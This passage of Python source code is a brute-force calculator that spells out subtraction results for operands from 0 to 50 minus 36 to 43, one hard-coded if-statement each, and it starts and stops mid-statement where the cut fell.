"-" and secondNum == 36 : print("3 - 36 = -33") if firstNum == 4 and sign == "-" and secondNum == 36 : print("4 - 36 = -32") if firstNum == 5 and sign == "-" and secondNum == 36 : print("5 - 36 = -31") if firstNum == 6 and sign == "-" and secondNum == 36 : print("6 - 36 = -30") if firstNum == 7 and sign == "-" and secondNum == 36 : print("7 - 36 = -29") if firstNum == 8 and sign == "-" and secondNum == 36 : print("8 - 36 = -28") if firstNum == 9 and sign == "-" and secondNum == 36 : print("9 - 36 = -27") if firstNum == 10 and sign == "-" and secondNum == 36 : print("10 - 36 = -26") if firstNum == 11 and sign == "-" and secondNum == 36 : print("11 - 36 = -25") if firstNum == 12 and sign == "-" and secondNum == 36 : print("12 - 36 = -24") if firstNum == 13 and sign == "-" and secondNum == 36 : print("13 - 36 = -23") if firstNum == 14 and sign == "-" and secondNum == 36 : print("14 - 36 = -22") if firstNum == 15 and sign == "-" and secondNum == 36 : print("15 - 36 = -21") if firstNum == 16 and sign == "-" and secondNum == 36 : print("16 - 36 = -20") if firstNum == 17 and sign == "-" and secondNum == 36 : print("17 - 36 = -19") if firstNum == 18 and sign == "-" and secondNum == 36 : print("18 - 36 = -18") if firstNum == 19 and sign == "-" and secondNum == 36 : print("19 - 36 = -17") if firstNum == 20 and sign == "-" and secondNum == 36 : print("20 - 36 = -16") if firstNum == 21 and sign == "-" and secondNum == 36 : print("21 - 36 = -15") if firstNum == 22 and sign == "-" and secondNum == 36 : print("22 - 36 = -14") if firstNum == 23 and sign == "-" and secondNum == 36 : print("23 - 36 = -13") if firstNum == 24 and sign == "-" and secondNum == 36 : print("24 - 36 = -12") if firstNum == 25 and sign == "-" and secondNum == 36 : print("25 - 36 = -11") if firstNum == 26 and sign == "-" and secondNum == 36 : print("26 - 36 = -10") if firstNum == 27 and sign == "-" and secondNum == 36 : print("27 - 36 = -9") if firstNum == 28 and sign == "-" and secondNum == 36 : print("28 - 36 = -8") if firstNum == 29 and sign == "-" and secondNum == 36 : print("29 - 36 = -7") if firstNum == 30 and sign == "-" and secondNum == 36 : print("30 - 36 = -6") if firstNum == 31 and sign == "-" and secondNum == 36 : print("31 - 36 = -5") if firstNum == 32 and sign == "-" and secondNum == 36 : print("32 - 36 = -4") if firstNum == 33 and sign == "-" and secondNum == 36 : print("33 - 36 = -3") if firstNum == 34 and sign == "-" and secondNum == 36 : print("34 - 36 = -2") if firstNum == 35 and sign == "-" and secondNum == 36 : print("35 - 36 = -1") if firstNum == 36 and sign == "-" and secondNum == 36 : print("36 - 36 = 0") if firstNum == 37 and sign == "-" and secondNum == 36 : print("37 - 36 = 1") if firstNum == 38 and sign == "-" and secondNum == 36 : print("38 - 36 = 2") if firstNum == 39 and sign == "-" and secondNum == 36 : print("39 - 36 = 3") if firstNum == 40 and sign == "-" and secondNum == 36 : print("40 - 36 = 4") if firstNum == 41 and sign == "-" and secondNum == 36 : print("41 - 36 = 5") if firstNum == 42 and sign == "-" and secondNum == 36 : print("42 - 36 = 6") if firstNum == 43 and sign == "-" and secondNum == 36 : print("43 - 36 = 7") if firstNum == 44 and sign == "-" and secondNum == 36 : print("44 - 36 = 8") if firstNum == 45 and sign == "-" and secondNum == 36 : print("45 - 36 = 9") if firstNum == 46 and sign == "-" and secondNum == 36 : print("46 - 36 = 10") if firstNum == 47 and sign == "-" and secondNum == 36 : print("47 - 36 = 11") if firstNum == 48 and sign == "-" and secondNum == 36 : print("48 - 36 = 12") if firstNum == 49 and sign == "-" and secondNum == 36 : print("49 - 36 = 13") if firstNum == 50 and sign == "-" and secondNum == 36 : print("50 - 36 = 14") if firstNum == 0 and sign == "-" and secondNum == 37 : print("0 - 37 = -37") if firstNum == 1 and sign == "-" and secondNum == 37 : print("1 - 37 = -36") if firstNum == 2 and sign == "-" and secondNum == 37 : print("2 - 37 = -35") if firstNum == 3 and sign == "-" and secondNum == 37 : print("3 - 37 = -34") if firstNum == 4 and sign == "-" and secondNum == 37 : print("4 - 37 = -33") if firstNum == 5 and sign == "-" and secondNum == 37 : print("5 - 37 = -32") if firstNum == 6 and sign == "-" and secondNum == 37 : print("6 - 37 = -31") if firstNum == 7 and sign == "-" and secondNum == 37 : print("7 - 37 = -30") if firstNum == 8 and sign == "-" and secondNum == 37 : print("8 - 37 = -29") if firstNum == 9 and sign == "-" and secondNum == 37 : print("9 - 37 = -28") if firstNum == 10 and sign == "-" and secondNum == 37 : print("10 - 37 = -27") if firstNum == 11 and sign == "-" and secondNum == 37 : print("11 - 37 = -26") if firstNum == 12 and sign == "-" and secondNum == 37 : print("12 - 37 = -25") if firstNum == 13 and sign == "-" and secondNum == 37 : print("13 - 37 = -24") if firstNum == 14 and sign == "-" and secondNum == 37 : print("14 - 37 = -23") if firstNum == 15 and sign == "-" and secondNum == 37 : print("15 - 37 = -22") if firstNum == 16 and sign == "-" and secondNum == 37 : print("16 - 37 = -21") if firstNum == 17 and sign == "-" and secondNum == 37 : print("17 - 37 = -20") if firstNum == 18 and sign == "-" and secondNum == 37 : print("18 - 37 = -19") if firstNum == 19 and sign == "-" and secondNum == 37 : print("19 - 37 = -18") if firstNum == 20 and sign == "-" and secondNum == 37 : print("20 - 37 = -17") if firstNum == 21 and sign == "-" and secondNum == 37 : print("21 - 37 = -16") if firstNum == 22 and sign == "-" and secondNum == 37 : print("22 - 37 = -15") if firstNum == 23 and sign == "-" and secondNum == 37 : print("23 - 37 = -14") if firstNum == 24 and sign == "-" and secondNum == 37 : print("24 - 37 = -13") if firstNum == 25 and sign == "-" and secondNum == 37 : print("25 - 37 = -12") if firstNum == 26 and sign == "-" and secondNum == 37 : print("26 - 37 = -11") if firstNum == 27 and sign == "-" and secondNum == 37 : print("27 - 37 = -10") if firstNum == 28 and sign == "-" and secondNum == 37 : print("28 - 37 = -9") if firstNum == 29 and sign == "-" and secondNum == 37 : print("29 - 37 = -8") if firstNum == 30 and sign == "-" and secondNum == 37 : print("30 - 37 = -7") if firstNum == 31 and sign == "-" and secondNum == 37 : print("31 - 37 = -6") if firstNum == 32 and sign == "-" and secondNum == 37 : print("32 - 37 = -5") if firstNum == 33 and sign == "-" and secondNum == 37 : print("33 - 37 = -4") if firstNum == 34 and sign == "-" and secondNum == 37 : print("34 - 37 = -3") if firstNum == 35 and sign == "-" and secondNum == 37 : print("35 - 37 = -2") if firstNum == 36 and sign == "-" and secondNum == 37 : print("36 - 37 = -1") if firstNum == 37 and sign == "-" and secondNum == 37 : print("37 - 37 = 0") if firstNum == 38 and sign == "-" and secondNum == 37 : print("38 - 37 = 1") if firstNum == 39 and sign == "-" and secondNum == 37 : print("39 - 37 = 2") if firstNum == 40 and sign == "-" and secondNum == 37 : print("40 - 37 = 3") if firstNum == 41 and sign == "-" and secondNum == 37 : print("41 - 37 = 4") if firstNum == 42 and sign == "-" and secondNum == 37 : print("42 - 37 = 5") if firstNum == 43 and sign == "-" and secondNum == 37 : print("43 - 37 = 6") if firstNum == 44 and sign == "-" and secondNum == 37 : print("44 - 37 = 7") if firstNum == 45 and sign == "-" and secondNum == 37 : print("45 - 37 = 8") if firstNum == 46 and sign == "-" and secondNum == 37 : print("46 - 37 = 9") if firstNum == 47 and sign == "-" and secondNum == 37 : print("47 - 37 = 10") if firstNum == 48 and sign == "-" and secondNum == 37 : print("48 - 37 = 11") if firstNum == 49 and sign == "-" and secondNum == 37 : print("49 - 37 = 12") if firstNum == 50 and sign == "-" and secondNum == 37 : print("50 - 37 = 13") if firstNum == 0 and sign == "-" and secondNum == 38 : print("0 - 38 = -38") if firstNum == 1 and sign == "-" and secondNum == 38 : print("1 - 38 = -37") if firstNum == 2 and sign == "-" and secondNum == 38 : print("2 - 38 = -36") if firstNum == 3 and sign == "-" and secondNum == 38 : print("3 - 38 = -35") if firstNum == 4 and sign == "-" and secondNum == 38 : print("4 - 38 = -34") if firstNum == 5 and sign == "-" and secondNum == 38 : print("5 - 38 = -33") if firstNum == 6 and sign == "-" and secondNum == 38 : print("6 - 38 = -32") if firstNum == 7 and sign == "-" and secondNum == 38 : print("7 - 38 = -31") if firstNum == 8 and sign == "-" and secondNum == 38 : print("8 - 38 = -30") if firstNum == 9 and sign == "-" and secondNum == 38 : print("9 - 38 = -29") if firstNum == 10 and sign == "-" and secondNum == 38 : print("10 - 38 = -28") if firstNum == 11 and sign == "-" and secondNum == 38 : print("11 - 38 = -27") if firstNum == 12 and sign == "-" and secondNum == 38 : print("12 - 38 = -26") if firstNum == 13 and sign == "-" and secondNum == 38 : print("13 - 38 = -25") if firstNum == 14 and sign == "-" and secondNum == 38 : print("14 - 38 = -24") if firstNum == 15 and sign == "-" and secondNum == 38 : print("15 - 38 = -23") if firstNum == 16 and sign == "-" and secondNum == 38 : print("16 - 38 = -22") if firstNum == 17 and sign == "-" and secondNum == 38 : print("17 - 38 = -21") if firstNum == 18 and sign == "-" and secondNum == 38 : print("18 - 38 = -20") if firstNum == 19 and sign == "-" and secondNum == 38 : print("19 - 38 = -19") if firstNum == 20 and sign == "-" and secondNum == 38 : print("20 - 38 = -18") if firstNum == 21 and sign == "-" and secondNum == 38 : print("21 - 38 = -17") if firstNum == 22 and sign == "-" and secondNum == 38 : print("22 - 38 = -16") if firstNum == 23 and sign == "-" and secondNum == 38 : print("23 - 38 = -15") if firstNum == 24 and sign == "-" and secondNum == 38 : print("24 - 38 = -14") if firstNum == 25 and sign == "-" and secondNum == 38 : print("25 - 38 = -13") if firstNum == 26 and sign == "-" and secondNum == 38 : print("26 - 38 = -12") if firstNum == 27 and sign == "-" and secondNum == 38 : print("27 - 38 = -11") if firstNum == 28 and sign == "-" and secondNum == 38 : print("28 - 38 = -10") if firstNum == 29 and sign == "-" and secondNum == 38 : print("29 - 38 = -9") if firstNum == 30 and sign == "-" and secondNum == 38 : print("30 - 38 = -8") if firstNum == 31 and sign == "-" and secondNum == 38 : print("31 - 38 = -7") if firstNum == 32 and sign == "-" and secondNum == 38 : print("32 - 38 = -6") if firstNum == 33 and sign == "-" and secondNum == 38 : print("33 - 38 = -5") if firstNum == 34 and sign == "-" and secondNum == 38 : print("34 - 38 = -4") if firstNum == 35 and sign == "-" and secondNum == 38 : print("35 - 38 = -3") if firstNum == 36 and sign == "-" and secondNum == 38 : print("36 - 38 = -2") if firstNum == 37 and sign == "-" and secondNum == 38 : print("37 - 38 = -1") if firstNum == 38 and sign == "-" and secondNum == 38 : print("38 - 38 = 0") if firstNum == 39 and sign == "-" and secondNum == 38 : print("39 - 38 = 1") if firstNum == 40 and sign == "-" and secondNum == 38 : print("40 - 38 = 2") if firstNum == 41 and sign == "-" and secondNum == 38 : print("41 - 38 = 3") if firstNum == 42 and sign == "-" and secondNum == 38 : print("42 - 38 = 4") if firstNum == 43 and sign == "-" and secondNum == 38 : print("43 - 38 = 5") if firstNum == 44 and sign == "-" and secondNum == 38 : print("44 - 38 = 6") if firstNum == 45 and sign == "-" and secondNum == 38 : print("45 - 38 = 7") if firstNum == 46 and sign == "-" and secondNum == 38 : print("46 - 38 = 8") if firstNum == 47 and sign == "-" and secondNum == 38 : print("47 - 38 = 9") if firstNum == 48 and sign == "-" and secondNum == 38 : print("48 - 38 = 10") if firstNum == 49 and sign == "-" and secondNum == 38 : print("49 - 38 = 11") if firstNum == 50 and sign == "-" and secondNum == 38 : print("50 - 38 = 12") if firstNum == 0 and sign == "-" and secondNum == 39 : print("0 - 39 = -39") if firstNum == 1 and sign == "-" and secondNum == 39 : print("1 - 39 = -38") if firstNum == 2 and sign == "-" and secondNum == 39 : print("2 - 39 = -37") if firstNum == 3 and sign == "-" and secondNum == 39 : print("3 - 39 = -36") if firstNum == 4 and sign == "-" and secondNum == 39 : print("4 - 39 = -35") if firstNum == 5 and sign == "-" and secondNum == 39 : print("5 - 39 = -34") if firstNum == 6 and sign == "-" and secondNum == 39 : print("6 - 39 = -33") if firstNum == 7 and sign == "-" and secondNum == 39 : print("7 - 39 = -32") if firstNum == 8 and sign == "-" and secondNum == 39 : print("8 - 39 = -31") if firstNum == 9 and sign == "-" and secondNum == 39 : print("9 - 39 = -30") if firstNum == 10 and sign == "-" and secondNum == 39 : print("10 - 39 = -29") if firstNum == 11 and sign == "-" and secondNum == 39 : print("11 - 39 = -28") if firstNum == 12 and sign == "-" and secondNum == 39 : print("12 - 39 = -27") if firstNum == 13 and sign == "-" and secondNum == 39 : print("13 - 39 = -26") if firstNum == 14 and sign == "-" and secondNum == 39 : print("14 - 39 = -25") if firstNum == 15 and sign == "-" and secondNum == 39 : print("15 - 39 = -24") if firstNum == 16 and sign == "-" and secondNum == 39 : print("16 - 39 = -23") if firstNum == 17 and sign == "-" and secondNum == 39 : print("17 - 39 = -22") if firstNum == 18 and sign == "-" and secondNum == 39 : print("18 - 39 = -21") if firstNum == 19 and sign == "-" and secondNum == 39 : print("19 - 39 = -20") if firstNum == 20 and sign == "-" and secondNum == 39 : print("20 - 39 = -19") if firstNum == 21 and sign == "-" and secondNum == 39 : print("21 - 39 = -18") if firstNum == 22 and sign == "-" and secondNum == 39 : print("22 - 39 = -17") if firstNum == 23 and sign == "-" and secondNum == 39 : print("23 - 39 = -16") if firstNum == 24 and sign == "-" and secondNum == 39 : print("24 - 39 = -15") if firstNum == 25 and sign == "-" and secondNum == 39 : print("25 - 39 = -14") if firstNum == 26 and sign == "-" and secondNum == 39 : print("26 - 39 = -13") if firstNum == 27 and sign == "-" and secondNum == 39 : print("27 - 39 = -12") if firstNum == 28 and sign == "-" and secondNum == 39 : print("28 - 39 = -11") if firstNum == 29 and sign == "-" and secondNum == 39 : print("29 - 39 = -10") if firstNum == 30 and sign == "-" and secondNum == 39 : print("30 - 39 = -9") if firstNum == 31 and sign == "-" and secondNum == 39 : print("31 - 39 = -8") if firstNum == 32 and sign == "-" and secondNum == 39 : print("32 - 39 = -7") if firstNum == 33 and sign == "-" and secondNum == 39 : print("33 - 39 = -6") if firstNum == 34 and sign == "-" and secondNum == 39 : print("34 - 39 = -5") if firstNum == 35 and sign == "-" and secondNum == 39 : print("35 - 39 = -4") if firstNum == 36 and sign == "-" and secondNum == 39 : print("36 - 39 = -3") if firstNum == 37 and sign == "-" and secondNum == 39 : print("37 - 39 = -2") if firstNum == 38 and sign == "-" and secondNum == 39 : print("38 - 39 = -1") if firstNum == 39 and sign == "-" and secondNum == 39 : print("39 - 39 = 0") if firstNum == 40 and sign == "-" and secondNum == 39 : print("40 - 39 = 1") if firstNum == 41 and sign == "-" and secondNum == 39 : print("41 - 39 = 2") if firstNum == 42 and sign == "-" and secondNum == 39 : print("42 - 39 = 3") if firstNum == 43 and sign == "-" and secondNum == 39 : print("43 - 39 = 4") if firstNum == 44 and sign == "-" and secondNum == 39 : print("44 - 39 = 5") if firstNum == 45 and sign == "-" and secondNum == 39 : print("45 - 39 = 6") if firstNum == 46 and sign == "-" and secondNum == 39 : print("46 - 39 = 7") if firstNum == 47 and sign == "-" and secondNum == 39 : print("47 - 39 = 8") if firstNum == 48 and sign == "-" and secondNum == 39 : print("48 - 39 = 9") if firstNum == 49 and sign == "-" and secondNum == 39 : print("49 - 39 = 10") if firstNum == 50 and sign == "-" and secondNum == 39 : print("50 - 39 = 11") if firstNum == 0 and sign == "-" and secondNum == 40 : print("0 - 40 = -40") if firstNum == 1 and sign == "-" and secondNum == 40 : print("1 - 40 = -39") if firstNum == 2 and sign == "-" and secondNum == 40 : print("2 - 40 = -38") if firstNum == 3 and sign == "-" and secondNum == 40 : print("3 - 40 = -37") if firstNum == 4 and sign == "-" and secondNum == 40 : print("4 - 40 = -36") if firstNum == 5 and sign == "-" and secondNum == 40 : print("5 - 40 = -35") if firstNum == 6 and sign == "-" and secondNum == 40 : print("6 - 40 = -34") if firstNum == 7 and sign == "-" and secondNum == 40 : print("7 - 40 = -33") if firstNum == 8 and sign == "-" and secondNum == 40 : print("8 - 40 = -32") if firstNum == 9 and sign == "-" and secondNum == 40 : print("9 - 40 = -31") if firstNum == 10 and sign == "-" and secondNum == 40 : print("10 - 40 = -30") if firstNum == 11 and sign == "-" and secondNum == 40 : print("11 - 40 = -29") if firstNum == 12 and sign == "-" and secondNum == 40 : print("12 - 40 = -28") if firstNum == 13 and sign == "-" and secondNum == 40 : print("13 - 40 = -27") if firstNum == 14 and sign == "-" and secondNum == 40 : print("14 - 40 = -26") if firstNum == 15 and sign == "-" and secondNum == 40 : print("15 - 40 = -25") if firstNum == 16 and sign == "-" and secondNum == 40 : print("16 - 40 = -24") if firstNum == 17 and sign == "-" and secondNum == 40 : print("17 - 40 = -23") if firstNum == 18 and sign == "-" and secondNum == 40 : print("18 - 40 = -22") if firstNum == 19 and sign == "-" and secondNum == 40 : print("19 - 40 = -21") if firstNum == 20 and sign == "-" and secondNum == 40 : print("20 - 40 = -20") if firstNum == 21 and sign == "-" and secondNum == 40 : print("21 - 40 = -19") if firstNum == 22 and sign == "-" and secondNum == 40 : print("22 - 40 = -18") if firstNum == 23 and sign == "-" and secondNum == 40 : print("23 - 40 = -17") if firstNum == 24 and sign == "-" and secondNum == 40 : print("24 - 40 = -16") if firstNum == 25 and sign == "-" and secondNum == 40 : print("25 - 40 = -15") if firstNum == 26 and sign == "-" and secondNum == 40 : print("26 - 40 = -14") if firstNum == 27 and sign == "-" and secondNum == 40 : print("27 - 40 = -13") if firstNum == 28 and sign == "-" and secondNum == 40 : print("28 - 40 = -12") if firstNum == 29 and sign == "-" and secondNum == 40 : print("29 - 40 = -11") if firstNum == 30 and sign == "-" and secondNum == 40 : print("30 - 40 = -10") if firstNum == 31 and sign == "-" and secondNum == 40 : print("31 - 40 = -9") if firstNum == 32 and sign == "-" and secondNum == 40 : print("32 - 40 = -8") if firstNum == 33 and sign == "-" and secondNum == 40 : print("33 - 40 = -7") if firstNum == 34 and sign == "-" and secondNum == 40 : print("34 - 40 = -6") if firstNum == 35 and sign == "-" and secondNum == 40 : print("35 - 40 = -5") if firstNum == 36 and sign == "-" and secondNum == 40 : print("36 - 40 = -4") if firstNum == 37 and sign == "-" and secondNum == 40 : print("37 - 40 = -3") if firstNum == 38 and sign == "-" and secondNum == 40 : print("38 - 40 = -2") if firstNum == 39 and sign == "-" and secondNum == 40 : print("39 - 40 = -1") if firstNum == 40 and sign == "-" and secondNum == 40 : print("40 - 40 = 0") if firstNum == 41 and sign == "-" and secondNum == 40 : print("41 - 40 = 1") if firstNum == 42 and sign == "-" and secondNum == 40 : print("42 - 40 = 2") if firstNum == 43 and sign == "-" and secondNum == 40 : print("43 - 40 = 3") if firstNum == 44 and sign == "-" and secondNum == 40 : print("44 - 40 = 4") if firstNum == 45 and sign == "-" and secondNum == 40 : print("45 - 40 = 5") if firstNum == 46 and sign == "-" and secondNum == 40 : print("46 - 40 = 6") if firstNum == 47 and sign == "-" and secondNum == 40 : print("47 - 40 = 7") if firstNum == 48 and sign == "-" and secondNum == 40 : print("48 - 40 = 8") if firstNum == 49 and sign == "-" and secondNum == 40 : print("49 - 40 = 9") if firstNum == 50 and sign == "-" and secondNum == 40 : print("50 - 40 = 10") if firstNum == 0 and sign == "-" and secondNum == 41 : print("0 - 41 = -41") if firstNum == 1 and sign == "-" and secondNum == 41 : print("1 - 41 = -40") if firstNum == 2 and sign == "-" and secondNum == 41 : print("2 - 41 = -39") if firstNum == 3 and sign == "-" and secondNum == 41 : print("3 - 41 = -38") if firstNum == 4 and sign == "-" and secondNum == 41 : print("4 - 41 = -37") if firstNum == 5 and sign == "-" and secondNum == 41 : print("5 - 41 = -36") if firstNum == 6 and sign == "-" and secondNum == 41 : print("6 - 41 = -35") if firstNum == 7 and sign == "-" and secondNum == 41 : print("7 - 41 = -34") if firstNum == 8 and sign == "-" and secondNum == 41 : print("8 - 41 = -33") if firstNum == 9 and sign == "-" and secondNum == 41 : print("9 - 41 = -32") if firstNum == 10 and sign == "-" and secondNum == 41 : print("10 - 41 = -31") if firstNum == 11 and sign == "-" and secondNum == 41 : print("11 - 41 = -30") if firstNum == 12 and sign == "-" and secondNum == 41 : print("12 - 41 = -29") if firstNum == 13 and sign == "-" and secondNum == 41 : print("13 - 41 = -28") if firstNum == 14 and sign == "-" and secondNum == 41 : print("14 - 41 = -27") if firstNum == 15 and sign == "-" and secondNum == 41 : print("15 - 41 = -26") if firstNum == 16 and sign == "-" and secondNum == 41 : print("16 - 41 = -25") if firstNum == 17 and sign == "-" and secondNum == 41 : print("17 - 41 = -24") if firstNum == 18 and sign == "-" and secondNum == 41 : print("18 - 41 = -23") if firstNum == 19 and sign == "-" and secondNum == 41 : print("19 - 41 = -22") if firstNum == 20 and sign == "-" and secondNum == 41 : print("20 - 41 = -21") if firstNum == 21 and sign == "-" and secondNum == 41 : print("21 - 41 = -20") if firstNum == 22 and sign == "-" and secondNum == 41 : print("22 - 41 = -19") if firstNum == 23 and sign == "-" and secondNum == 41 : print("23 - 41 = -18") if firstNum == 24 and sign == "-" and secondNum == 41 : print("24 - 41 = -17") if firstNum == 25 and sign == "-" and secondNum == 41 : print("25 - 41 = -16") if firstNum == 26 and sign == "-" and secondNum == 41 : print("26 - 41 = -15") if firstNum == 27 and sign == "-" and secondNum == 41 : print("27 - 41 = -14") if firstNum == 28 and sign == "-" and secondNum == 41 : print("28 - 41 = -13") if firstNum == 29 and sign == "-" and secondNum == 41 : print("29 - 41 = -12") if firstNum == 30 and sign == "-" and secondNum == 41 : print("30 - 41 = -11") if firstNum == 31 and sign == "-" and secondNum == 41 : print("31 - 41 = -10") if firstNum == 32 and sign == "-" and secondNum == 41 : print("32 - 41 = -9") if firstNum == 33 and sign == "-" and secondNum == 41 : print("33 - 41 = -8") if firstNum == 34 and sign == "-" and secondNum == 41 : print("34 - 41 = -7") if firstNum == 35 and sign == "-" and secondNum == 41 : print("35 - 41 = -6") if firstNum == 36 and sign == "-" and secondNum == 41 : print("36 - 41 = -5") if firstNum == 37 and sign == "-" and secondNum == 41 : print("37 - 41 = -4") if firstNum == 38 and sign == "-" and secondNum == 41 : print("38 - 41 = -3") if firstNum == 39 and sign == "-" and secondNum == 41 : print("39 - 41 = -2") if firstNum == 40 and sign == "-" and secondNum == 41 : print("40 - 41 = -1") if firstNum == 41 and sign == "-" and secondNum == 41 : print("41 - 41 = 0") if firstNum == 42 and sign == "-" and secondNum == 41 : print("42 - 41 = 1") if firstNum == 43 and sign == "-" and secondNum == 41 : print("43 - 41 = 2") if firstNum == 44 and sign == "-" and secondNum == 41 : print("44 - 41 = 3") if firstNum == 45 and sign == "-" and secondNum == 41 : print("45 - 41 = 4") if firstNum == 46 and sign == "-" and secondNum == 41 : print("46 - 41 = 5") if firstNum == 47 and sign == "-" and secondNum == 41 : print("47 - 41 = 6") if firstNum == 48 and sign == "-" and secondNum == 41 : print("48 - 41 = 7") if firstNum == 49 and sign == "-" and secondNum == 41 : print("49 - 41 = 8") if firstNum == 50 and sign == "-" and secondNum == 41 : print("50 - 41 = 9") if firstNum == 0 and sign == "-" and secondNum == 42 : print("0 - 42 = -42") if firstNum == 1 and sign == "-" and secondNum == 42 : print("1 - 42 = -41") if firstNum == 2 and sign == "-" and secondNum == 42 : print("2 - 42 = -40") if firstNum == 3 and sign == "-" and secondNum == 42 : print("3 - 42 = -39") if firstNum == 4 and sign == "-" and secondNum == 42 : print("4 - 42 = -38") if firstNum == 5 and sign == "-" and secondNum == 42 : print("5 - 42 = -37") if firstNum == 6 and sign == "-" and secondNum == 42 : print("6 - 42 = -36") if firstNum == 7 and sign == "-" and secondNum == 42 : print("7 - 42 = -35") if firstNum == 8 and sign == "-" and secondNum == 42 : print("8 - 42 = -34") if firstNum == 9 and sign == "-" and secondNum == 42 : print("9 - 42 = -33") if firstNum == 10 and sign == "-" and secondNum == 42 : print("10 - 42 = -32") if firstNum == 11 and sign == "-" and secondNum == 42 : print("11 - 42 = -31") if firstNum == 12 and sign == "-" and secondNum == 42 : print("12 - 42 = -30") if firstNum == 13 and sign == "-" and secondNum == 42 : print("13 - 42 = -29") if firstNum == 14 and sign == "-" and secondNum == 42 : print("14 - 42 = -28") if firstNum == 15 and sign == "-" and secondNum == 42 : print("15 - 42 = -27") if firstNum == 16 and sign == "-" and secondNum == 42 : print("16 - 42 = -26") if firstNum == 17 and sign == "-" and secondNum == 42 : print("17 - 42 = -25") if firstNum == 18 and sign == "-" and secondNum == 42 : print("18 - 42 = -24") if firstNum == 19 and sign == "-" and secondNum == 42 : print("19 - 42 = -23") if firstNum == 20 and sign == "-" and secondNum == 42 : print("20 - 42 = -22") if firstNum == 21 and sign == "-" and secondNum == 42 : print("21 - 42 = -21") if firstNum == 22 and sign == "-" and secondNum == 42 : print("22 - 42 = -20") if firstNum == 23 and sign == "-" and secondNum == 42 : print("23 - 42 = -19") if firstNum == 24 and sign == "-" and secondNum == 42 : print("24 - 42 = -18") if firstNum == 25 and sign == "-" and secondNum == 42 : print("25 - 42 = -17") if firstNum == 26 and sign == "-" and secondNum == 42 : print("26 - 42 = -16") if firstNum == 27 and sign == "-" and secondNum == 42 : print("27 - 42 = -15") if firstNum == 28 and sign == "-" and secondNum == 42 : print("28 - 42 = -14") if firstNum == 29 and sign == "-" and secondNum == 42 : print("29 - 42 = -13") if firstNum == 30 and sign == "-" and secondNum == 42 : print("30 - 42 = -12") if firstNum == 31 and sign == "-" and secondNum == 42 : print("31 - 42 = -11") if firstNum == 32 and sign == "-" and secondNum == 42 : print("32 - 42 = -10") if firstNum == 33 and sign == "-" and secondNum == 42 : print("33 - 42 = -9") if firstNum == 34 and sign == "-" and secondNum == 42 : print("34 - 42 = -8") if firstNum == 35 and sign == "-" and secondNum == 42 : print("35 - 42 = -7") if firstNum == 36 and sign == "-" and secondNum == 42 : print("36 - 42 = -6") if firstNum == 37 and sign == "-" and secondNum == 42 : print("37 - 42 = -5") if firstNum == 38 and sign == "-" and secondNum == 42 : print("38 - 42 = -4") if firstNum == 39 and sign == "-" and secondNum == 42 : print("39 - 42 = -3") if firstNum == 40 and sign == "-" and secondNum == 42 : print("40 - 42 = -2") if firstNum == 41 and sign == "-" and secondNum == 42 : print("41 - 42 = -1") if firstNum == 42 and sign == "-" and secondNum == 42 : print("42 - 42 = 0") if firstNum == 43 and sign == "-" and secondNum == 42 : print("43 - 42 = 1") if firstNum == 44 and sign == "-" and secondNum == 42 : print("44 - 42 = 2") if firstNum == 45 and sign == "-" and secondNum == 42 : print("45 - 42 = 3") if firstNum == 46 and sign == "-" and secondNum == 42 : print("46 - 42 = 4") if firstNum == 47 and sign == "-" and secondNum == 42 : print("47 - 42 = 5") if firstNum == 48 and sign == "-" and secondNum == 42 : print("48 - 42 = 6") if firstNum == 49 and sign == "-" and secondNum == 42 : print("49 - 42 = 7") if firstNum == 50 and sign == "-" and secondNum == 42 : print("50 - 42 = 8") if firstNum == 0 and sign == "-" and secondNum == 43 : print("0 - 43 = -43") if firstNum == 1 and sign == "-" and secondNum == 43 : print("1 - 43 = -42") if firstNum == 2 and sign == "-" and secondNum == 43 : print("2 - 43 = -41") if firstNum == 3 and sign == "-" and secondNum == 43 : print("3 - 43 = -40") if firstNum == 4 and sign == "-" and secondNum == 43 : print("4 - 43 = -39") if firstNum == 5 and sign == "-" and secondNum == 43 : print("5 - 43 = -38") if firstNum == 6 and sign == "-" and secondNum == 43 : print("6 - 43 = -37") if firstNum == 7 and sign == "-" and secondNum == 43 : print("7 - 43 = -36") if firstNum == 8 and sign == "-" and secondNum == 43 : print("8 - 43 = -35") if firstNum == 9 and sign == "-" and secondNum == 43 : print("9 - 43 = -34") if firstNum == 10 and sign == "-" and secondNum == 43 : print("10 - 43 = -33") if firstNum == 11 and sign == "-" and secondNum == 43 : print("11 - 43 = -32") if firstNum == 12 and sign == "-" and secondNum == 43 : print("12 - 43 = -31") if firstNum == 13 and sign == "-" and secondNum == 43 : print("13 - 43 = -30") if firstNum == 14 and sign == "-" and secondNum == 43 : print("14 - 43 = -29") if firstNum == 15 and sign == "-" and secondNum == 43 : print("15 - 43 = -28") if firstNum == 16 and sign == "-" and secondNum == 43 : print("16 - 43 = -27") if firstNum == 17 and sign == "-" and secondNum == 43 : print("17 - 43 = -26") if firstNum == 18 and sign == "-" and secondNum == 43 : print("18 - 43 = -25") if firstNum == 19 and sign == "-" and secondNum == 43 : print("19 - 43 = -24") if firstNum == 20 and sign == "-" and secondNum == 43 : print("20 - 43 = -23") if firstNum == 21 and sign == "-" and secondNum == 43 : print("21 - 43 = -22") if firstNum == 22 and sign == "-" and secondNum == 43 : print("22 - 43 = -21") if firstNum == 23 and sign == "-" and secondNum == 43 : print("23 - 43 = -20") if firstNum == 24 and sign == "-" and secondNum == 43 : print("24 - 43 = -19") if firstNum == 25 and sign == "-" and secondNum == 43 : print("25 - 43 = -18") if firstNum == 26 and sign == "-" and secondNum == 43 : print("26 - 43 = -17") if firstNum == 27 and sign == "-" and secondNum == 43 : print("27 - 43 = -16") if firstNum == 28 and sign == "-" and secondNum == 43 : print("28 - 43 = -15") if firstNum == 29 and sign == "-" and secondNum == 43 : print("29 - 43 = -14") if firstNum == 30 and sign == "-" and secondNum == 43 : print("30 - 43 = -13") if firstNum == 31 and sign == "-" and secondNum == 43 : print("31 - 43 = -12") if firstNum == 32 and sign == "-" and secondNum == 43 : print("32 - 43 = -11") if firstNum == 33 and sign == "-" and secondNum == 43 : print("33 - 43 = -10") if firstNum == 34 and sign == "-" and secondNum == 43 : print("34 - 43 = -9") if firstNum == 35 and sign == "-" and secondNum == 43 : print("35 - 43 = -8") if firstNum == 36 and sign == "-" and secondNum == 43 : print("36 - 43 = -7") if firstNum == 37 and sign == "-" and secondNum == 43 : print("37 - 43 = -6") if firstNum == 38 and sign == "-" and secondNum == 43 : print("38 - 43 = -5") if firstNum == 39 and sign == "-" and secondNum == 43 : print("39 - 43 = -4") if firstNum == 40 and sign == "-" and secondNum == 43 : print("40 - 43 = -3") if 